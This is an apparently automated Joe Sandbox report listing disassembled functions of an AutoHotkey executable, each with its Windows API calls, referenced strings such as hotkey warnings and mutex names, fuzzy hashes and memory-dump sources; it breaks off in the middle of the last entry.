Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ArraySafe$Bound$AccessDataElemsize
String ID:
API String ID: 505432365-0
Opcode ID: f1d6dca95195c3eab8c0c9643eca74b814f95ccd677d5f04d32bbc95c97bda09
Instruction ID: 7193f2b9c1eccf5cb6ccbf7b46c4b0afa726bf1159b0b4ff7b58cfe4ca11ba9d
Opcode Fuzzy Hash: f1d6dca95195c3eab8c0c9643eca74b814f95ccd677d5f04d32bbc95c97bda09
Instruction Fuzzy Hash: EA31B575604712AFD700DF28D98499ABBE8EF88310F40886EFD4597321E779E8448B67

Uniqueness

Uniqueness Score: -1.00%

Function 00474090 Relevance: 9.1, APIs: 6, Instructions: 77windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 004740A0
GetWindowLongW.USER32(?,000000F0), ref: 004740A9
SendMessageW.USER32(?,0000130A,00000000,?), ref: 004740CC
SendMessageW.USER32(?,0000132C,00000000,00000000), ref: 004740D8
SendMessageW.USER32(?,00001328,00000000,?), ref: 00474129
MapWindowPoints.USER32(?,?,?,00000002), ref: 00474144

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSend$Window$ClientLongPointsRect
String ID:
API String ID: 1955914217-0
Opcode ID: 23206af3ca8f9d19d7f1f66e4c9b45bef16a656f740c438cdc23d9d25fba4fc4
Instruction ID: 3b6ac11845cf5ae8bea7ed9671e068ac9b4ece1ce88cfba2416959e63b879658
Opcode Fuzzy Hash: 23206af3ca8f9d19d7f1f66e4c9b45bef16a656f740c438cdc23d9d25fba4fc4
Instruction Fuzzy Hash: D0219E71649301AFD304EF18CC49BAEBBE4FFD9700F14852EF59A56280D734AA45CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043D600 Relevance: 9.1, APIs: 6, Instructions: 65windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0043D612
__fassign.LIBCMT ref: 0043D64B

Part of subcall function 0049BF9D: wcstoxl.LIBCMT ref: 0049BFAD

Part of subcall function 0049A0CD: __fassign.LIBCMT ref: 0049A0C3

__fassign.LIBCMT ref: 0043D67B
_wcsncpy.LIBCMT ref: 0043D6A7
_wcsncpy.LIBCMT ref: 0043D6CB
Shell_NotifyIconW.SHELL32(00000001), ref: 0043D6E3

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __fassign$_wcsncpy$IconNotifyShell__memsetwcstoxl
String ID:
API String ID: 551406035-0
Opcode ID: 8eff955c9bb006f65237bbba63d70de27cc4c9aba4ed05e485fff164441735bd
Instruction ID: 34107d8a8bcf8e22087f137028a84b51312ee7e386e6db294c5cb30486b0d047
Opcode Fuzzy Hash: 8eff955c9bb006f65237bbba63d70de27cc4c9aba4ed05e485fff164441735bd
Instruction Fuzzy Hash: 9C2184B09043006BD721AB10DC43BAF76E89F85708F04483EFA899A2C1E7799615874F

Uniqueness

Uniqueness Score: -1.00%

Function 00454250 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 296COMMON

Download Yara Rule

APIs

__wcsdup.LIBCMT ref: 004544FA
_free.LIBCMT ref: 0045455A

Strings

O, xrefs: 0045452C
ERCP, xrefs: 00454348
RegExMatch, xrefs: 00454449

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsdup_free
String ID: ERCP$O$RegExMatch
API String ID: 2088533098-700926398
Opcode ID: e3e238dc134e5f3d01f0b873f3a3a279317dbd8525e29491b20340cacc5c75e7
Instruction ID: ea8ad2906619fc146426dc9989b6f8a3e09762169eb3fd2f1471537a94cb86d9
Opcode Fuzzy Hash: e3e238dc134e5f3d01f0b873f3a3a279317dbd8525e29491b20340cacc5c75e7
Instruction Fuzzy Hash: 61B1D171A00218AFCB14DF94C881AAFB7B5EF88319F14815AFD05AB352D738DD89CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00414080 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 145COMMON

Download Yara Rule

Strings

{All}, xrefs: 00414192
Invalid option., xrefs: 004141F4
Too few parameters passed to function., xrefs: 0041409B
?, xrefs: 00414179

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: ?$Invalid option.$Too few parameters passed to function.${All}
API String ID: 0-1706679301
Opcode ID: fe8263f7cdb13ce55d13f688e4b5c1948730f1a59beea3f630fe795c92b10d4d
Instruction ID: 4173d1b2080cd32b1f01f176dccef886bd7648e895e4ad34046d10058530c030
Opcode Fuzzy Hash: fe8263f7cdb13ce55d13f688e4b5c1948730f1a59beea3f630fe795c92b10d4d
Instruction Fuzzy Hash: 714147355483905AD321DA1898447EBBBD0ABF236AF08046FE9D047292C26DD9CDC3BF

Uniqueness

Uniqueness Score: -1.00%

Function 00470850 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 124windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(00000000,000000F0), ref: 004708BD
__itow.LIBCMT ref: 004708E5
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0047093F
ShowWindow.USER32(?,00000000), ref: 0047099F

Part of subcall function 00470A70: __wcsicoll.LIBCMT ref: 00470A8C

Strings

Submit, xrefs: 00470882

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$LongMessageSendShow__itow__wcsicoll
String ID: Submit
API String ID: 1467826441-949859957
Opcode ID: 2fc73557284eef67bae0e7f40888c28695654738bbe858f84b880eb11e29a91e
Instruction ID: a4dcbbb6ea5f337782531cf708bdd5abf8ef59ad2bcb37f8be4299c6d8067120
Opcode Fuzzy Hash: 2fc73557284eef67bae0e7f40888c28695654738bbe858f84b880eb11e29a91e
Instruction Fuzzy Hash: 4241B1B1905311EBE630EF55C880B9BF7A4BB41B10F118B1AF665672C2C7B4E884C7DA

Uniqueness

Uniqueness Score: -1.00%

Function 004102B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004102DB

Part of subcall function 0047FFB0: _vswprintf_s.LIBCMT ref: 0047FFC9

GetTickCount.KERNEL32 ref: 004102F1
GetTickCount.KERNEL32 ref: 004103F4
PostMessageW.USER32(0002044A,00000312,?,00000000), ref: 00410417

Strings

%u hotkeys have been received in the last %ums.Do you want to continue?(see #MaxHotkeysPerInterval in the help file), xrefs: 0041037C

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick$MessagePost_vswprintf_s
String ID: %u hotkeys have been received in the last %ums.Do you want to continue?(see #MaxHotkeysPerInterval in the help file)
API String ID: 134691662-3609671246
Opcode ID: 4a1e726e7df85e9ff3d7cbdd4e7c5b47b5fb186546a1bb74d1d9ee6d54b0ca72
Instruction ID: 23fa1a68358f32c2ed5662dae1137d882aef1398c8394b627f3fba7a5245f79c
Opcode Fuzzy Hash: 4a1e726e7df85e9ff3d7cbdd4e7c5b47b5fb186546a1bb74d1d9ee6d54b0ca72
Instruction Fuzzy Hash: 78312371642384EBEB60EF64EC857DA3B50E744714F44403FEA8592392C7B868C8CBAD

Uniqueness

Uniqueness Score: -1.00%

Function 00441610 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 0044DE50: GetForegroundWindow.USER32(?,?,00440955,?), ref: 0044DE7E
Part of subcall function 0044DE50: IsWindowVisible.USER32(00000000), ref: 0044DE99

_wcsncpy.LIBCMT ref: 00441654
__wcstoi64.LIBCMT ref: 00441694
__fassign.LIBCMT ref: 004416E2
__fassign.LIBCMT ref: 0044170E

Part of subcall function 0049C2F2: __wtof_l.LIBCMT ref: 0049C2FC

Part of subcall function 0049A0CD: __fassign.LIBCMT ref: 0049A0C3

Strings

msctls_statusbar321, xrefs: 0044166B

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __fassign$Window$ForegroundVisible__wcstoi64__wtof_l_wcsncpy
String ID: msctls_statusbar321
API String ID: 4167010027-1022929942
Opcode ID: 1850b5bf2c51372dc3d21f37f977ed31a05b2ccf45f104274231273493c8a9c0
Instruction ID: 3612487c545c82b754a06a0290c5a3c7eb0e7f97d9787525ecae4bac344d8f6a
Opcode Fuzzy Hash: 1850b5bf2c51372dc3d21f37f977ed31a05b2ccf45f104274231273493c8a9c0
Instruction Fuzzy Hash: 92310C71A0430157E220BB659C42B6B73D89F84354F09093FFA4A67293E67DD459C3AF

Uniqueness

Uniqueness Score: -1.00%

Function 0045F210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 0045F21F
__wsplitpath.LIBCMT ref: 0045F266
__wsplitpath.LIBCMT ref: 0045F27D
_wcschr.LIBCMT ref: 0045F2FF

Strings

*, xrefs: 0045F311

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wsplitpath_wcschr
String ID: *
API String ID: 1241525681-163128923
Opcode ID: 03ee793d2e8993e68f2f19f30c3b8f20fcf703e06b1cba8c5d0c937425268f86
Instruction ID: dc218748ac8d62905a5ab9ae9b86ac5e6777fd464f6d87b3949d7a3e4e7bfbce
Opcode Fuzzy Hash: 03ee793d2e8993e68f2f19f30c3b8f20fcf703e06b1cba8c5d0c937425268f86
Instruction Fuzzy Hash: BB31E1B64443005AD730A741CC96BEBB3B8AF94305F04852BF98983281F6B8964CC797

Uniqueness

Uniqueness Score: -1.00%

Function 004120B4 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 89COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 004121FC

Strings

(no), xrefs: 00412282
%s%s%s%s%s%s, xrefs: 004122AA
OFF, xrefs: 00412171, 0041229C
%i-%i, xrefs: 004121F6

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __swprintf
String ID: %i-%i$%s%s%s%s%s%s$(no)$OFF
API String ID: 1857805200-721635399
Opcode ID: 30464e71bbc3f95f33224fe4ecfa5a77af51fac2c056aecf65554370e7e85495
Instruction ID: 0765a37d7327b75a906568f873d9ed25e2cd0d355111d9572e56128918f6482d
Opcode Fuzzy Hash: 30464e71bbc3f95f33224fe4ecfa5a77af51fac2c056aecf65554370e7e85495
Instruction Fuzzy Hash: AF3144322043409BD738DE598940BFBB7F1AF85304F144A6FE596C7280E7B999A5C36A

Uniqueness

Uniqueness Score: -1.00%

Function 00419000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,KbdLayerDescriptor), ref: 00419082
GetCurrentProcess.KERNEL32(?), ref: 0041909E
IsWow64Process.KERNEL32(00000000), ref: 004190A5
FreeLibrary.KERNEL32(00000000), ref: 004190CB

Strings

KbdLayerDescriptor, xrefs: 0041907C

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Process$AddressCurrentFreeLibraryProcWow64
String ID: KbdLayerDescriptor
API String ID: 2487901806-1890577838
Opcode ID: 2357dcb965203d69a1ba1cca60b76015f0115e306adc45fe8a51e47d8543f7e0
Instruction ID: 9e9f4822cbc9499381aebaba3a0c3162f0add3e78197b03a547cbe33c43ff55e
Opcode Fuzzy Hash: 2357dcb965203d69a1ba1cca60b76015f0115e306adc45fe8a51e47d8543f7e0
Instruction Fuzzy Hash: 6321F5716012249FD7248F25FC547ABBBA8E749718F15013FE882C3660EB399C91CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0047C220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00008000,?,?,?,?,00434CA8,004B0CF8), ref: 0047C267
GetPrivateProfileStringW.KERNEL32(?,004B0CF8,ERROR,?,0000FFFF,?), ref: 0047C292
GetPrivateProfileSectionW.KERNEL32(?,?,0000FFFF,?), ref: 0047C2D6
GetPrivateProfileSectionNamesW.KERNEL32(?,0000FFFF,?), ref: 0047C2F0

Strings

ERROR, xrefs: 0047C23A, 0047C28F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: PrivateProfile$Section$FullNameNamesPathString
String ID: ERROR
API String ID: 4060383694-2861137601
Opcode ID: 7e7f457d83c164da8499af263ac0f87e1ac7278a8e470280884b5c4588e41642
Instruction ID: 5b0d26fef9fb3741154be4cf79f6475b6628ba0c5ca6af79c6648833fca067f3
Opcode Fuzzy Hash: 7e7f457d83c164da8499af263ac0f87e1ac7278a8e470280884b5c4588e41642
Instruction Fuzzy Hash: FD216031504305ABD735DB44C885FFBB3B9EF85700F00896EA189861D0E7B89989D76A

Uniqueness

Uniqueness Score: -1.00%

Function 0044E0F0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetDateFormatW.KERNEL32(00000400,00000000,00000000,ddd,?,?), ref: 0044E16B

Strings

dddd, xrefs: 0044E13D
MMM, xrefs: 0044E12F
ddd, xrefs: 0044E144, 0044E161
MMMM, xrefs: 0044E128

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: DateFormat
String ID: MMM$MMMM$ddd$dddd
API String ID: 2793631785-2187213731
Opcode ID: edf4230115f300e6d0fbc5cc9f98aae906d60e5887cbf0af1c98635d19d987ab
Instruction ID: aeb4f1a9d8d4490a7fd5bf74330efad32b079092415b50c63ed18fd255cbc3fd
Opcode Fuzzy Hash: edf4230115f300e6d0fbc5cc9f98aae906d60e5887cbf0af1c98635d19d987ab
Instruction Fuzzy Hash: 8201D1B1B88611A6F7245A0ADC46B779296FB85711F18C227F8519A3C1C37CEC4181AF

Uniqueness

Uniqueness Score: -1.00%

Function 00485270 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32,IsHungAppWindow,?,0048420D), ref: 00485296
GetProcAddress.KERNEL32(00000000), ref: 0048529D

Strings

user32, xrefs: 00485291
IsHungAppWindow, xrefs: 0048528C

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsHungAppWindow$user32
API String ID: 1646373207-934392274
Opcode ID: 1c47e967b3398c9dce536844779dfa577d466348b691985782fabfa249b1b805
Instruction ID: 3aba9b08236de5ed654823362906a440f37b5f449c11d7ce4275a92dd44ad3d8
Opcode Fuzzy Hash: 1c47e967b3398c9dce536844779dfa577d466348b691985782fabfa249b1b805
Instruction Fuzzy Hash: B8F0BB71696712AAEB115B746C06F5E3798AB01B01F25447FF403D55E0DF58C4409B5C

Uniqueness

Uniqueness Score: -1.00%

Function 0049A782 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0049A79C

Part of subcall function 0049A0EE: __FF_MSGBANNER.LIBCMT ref: 0049A107
Part of subcall function 0049A0EE: __NMSG_WRITE.LIBCMT ref: 0049A10E
Part of subcall function 0049A0EE: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,004A1668,00401234,00000001,00401234,?,0049EB7D,00000018,004CFE28,0000000C,0049EC0D), ref: 0049A133

std::exception::exception.LIBCMT ref: 0049A7D1
std::exception::exception.LIBCMT ref: 0049A7EB
__CxxThrowException@8.LIBCMT ref: 0049A7FC

Strings

4tM, xrefs: 0049A7AF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: 4tM
API String ID: 615853336-2669483393
Opcode ID: c8bcd54b1c9fee24d6521b7071256cdf1934a5af02535721511bcc26ef9e2dff
Instruction ID: e13e35127ef9e70d3dff5ae51d32e76a730e3306eef67bd08b9586800c482c61
Opcode Fuzzy Hash: c8bcd54b1c9fee24d6521b7071256cdf1934a5af02535721511bcc26ef9e2dff
Instruction Fuzzy Hash: AFF0D1309402096ADF11EB55DC46AAE3FB9AF5071CB6000BFF814962A1DBBC8A1586CE

Uniqueness

Uniqueness Score: -1.00%

Function 004050E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000002,00000000,004050AA,?,00000000,?,?,0041A42E,004B0CF8,004642C5,?,00000001,?), ref: 004050F1
GlobalLock.KERNEL32(00000000,?,?,0041A42E,004B0CF8,004642C5,?,00000001,?), ref: 00405116
GlobalFree.KERNEL32(00000000), ref: 00405127

Strings

GlobalAlloc, xrefs: 00405103
GlobalLock, xrefs: 00405132

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Global$AllocFreeLock
String ID: GlobalAlloc$GlobalLock
API String ID: 1811133220-3672399903
Opcode ID: 70b91be451777ed86922f46ff293be6905bc89da4934d29dccb5e03b56f421c3
Instruction ID: 9bfc458d229dd1d84222a0b95eb0bef5cc21c228c8fe386269b48dc9ef824c2f
Opcode Fuzzy Hash: 70b91be451777ed86922f46ff293be6905bc89da4934d29dccb5e03b56f421c3
Instruction Fuzzy Hash: 66F08170A40B019BC720AB758905A1777E9EF94709300887BA857C7790EB78D8008F1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040E740 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37synchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,02C50FF8,?,?,00414911), ref: 0040E753
CreateMutexW.KERNEL32(00000000,00000000,AHK Keybd,02C50FF8,?,?,00414911), ref: 0040E75E
GetLastError.KERNEL32 ref: 0040E766
CloseHandle.KERNEL32(00000000), ref: 0040E791

Strings

AHK Keybd, xrefs: 0040E755

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: AHK Keybd
API String ID: 2372642624-4057427925
Opcode ID: 2e0d950e03243fa631d9cacbcec111292c8a91bd9719d91d0f5be31a91f2a9dc
Instruction ID: f3af930216dba3c32d2826a1fc649874deb868cf857af4cee206d493a2815e0b
Opcode Fuzzy Hash: 2e0d950e03243fa631d9cacbcec111292c8a91bd9719d91d0f5be31a91f2a9dc
Instruction Fuzzy Hash: 56F0A7B3B1232057DB206B75ED88B4B6B589B84B61F050437E505D72D0D77C8C40426C

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37synchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,02C50FF8,?,?,0041491E), ref: 0040E7C3
CreateMutexW.KERNEL32(00000000,00000000,AHK Mouse,02C50FF8,?,?,0041491E), ref: 0040E7CE
GetLastError.KERNEL32 ref: 0040E7D6
CloseHandle.KERNEL32(00000000), ref: 0040E801

Strings

AHK Mouse, xrefs: 0040E7C5

